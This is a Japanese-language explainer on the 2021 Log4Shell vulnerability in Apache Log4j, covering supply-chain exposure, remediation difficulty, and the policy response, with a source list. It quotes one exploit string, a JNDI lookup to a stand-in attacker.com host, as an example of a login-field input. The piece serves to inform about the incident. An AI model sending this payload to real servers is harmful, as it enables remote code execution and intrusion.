2021年12月、世界中の数百万のアプリケーションやサーバーで使われている普及型のJavaログライブラリ、Apache Log4jに重大なゼロデイ脆弱性(CVE-2021-44228、通称「Log4Shell」)が発見された。この脆弱性により、攻撃者は細工した文字列を送りつけるだけでサーバー上で任意のコードを実行できた。その文字列は、ログイン欄に「${jndi:ldap://attacker.com}」と入力するだけという単純なものだった。

この脆弱性が壊滅的だったのは、Log4jが極めて幅広いソフトウェアに組み込まれていたからだ。企業向けアプリケーション、クラウドサービス、ゲームサーバー(Minecraft)、IoT機器、政府系システムなどが含まれる。多くの組織は、ソフトウェアスタックの奥深くに埋もれた推移的依存関係としてLog4jを実行していたため、自分たちがLog4jを使っていることすら把握していなかった。

Apache Software Foundationはパッチを公開したが、修復は遅く複雑だった。組織はシステム内のLog4jの全インスタンスを特定し、それぞれにパッチを適用し、修正を検証しなければならなかった。この脆弱性は公開から数時間以内に実際に悪用された。この事例は、現代のソフトウェアサプライチェーンのもろさを浮き彫りにした。広く使われるオープンソースライブラリの単一の脆弱性が、数百万のシステムを同時に危険にさらし得るのである。

Apache Log4jのLog4Shell脆弱性により数百万のシステムが脆弱な状態に置かれ、数十億ドルと数週間の作業を要する世界的なパッチ適用の取り組みを強いられた。

Log4jは推移的依存関係として数百万のアプリケーションに組み込まれており、それを実行する組織にはしばしば知られていなかった。

この脆弱性は、極めて単純な悪用文字列によってリモートコード実行を可能にした。

組織はスタック内のLog4jの全インスタンスを見つけてパッチを適用しなければならなかったため、修復は遅れた。

この脆弱性は公開から数時間以内に実際に悪用された。

現代のソフトウェアスタックは依存関係の塔であり、ほとんどの組織は自分のところに何が入っているかを把握していない。Log4jはどこにでもあった。問われるべきは「自分たちは影響を受けているか?」ではなく、「先に突き止められるか?」である。

Apacheはパッチを公開し、このCVEには深刻度スコア10.0が割り当てられた。この事例を受けて米国政府はソフトウェアサプライチェーンセキュリティに関する大統領令を発し、ソフトウェア部品表(SBOM)の採用が加速した。Log4jは今もサプライチェーンリスクの参照点であり続けている。

出典をたどる

出典

  1. Log4Shell — Wikipedia en.wikipedia.org
  2. Log4shell: US demands Christmas Eve deadline for hack fix — BBC News bbc.com
  3. The Log4J Vulnerability Will Haunt the Internet for Years — WIRED wired.com
  4. CISA — Apache Log4j Vulnerability Guidance (CVE-2021-44228) cisa.gov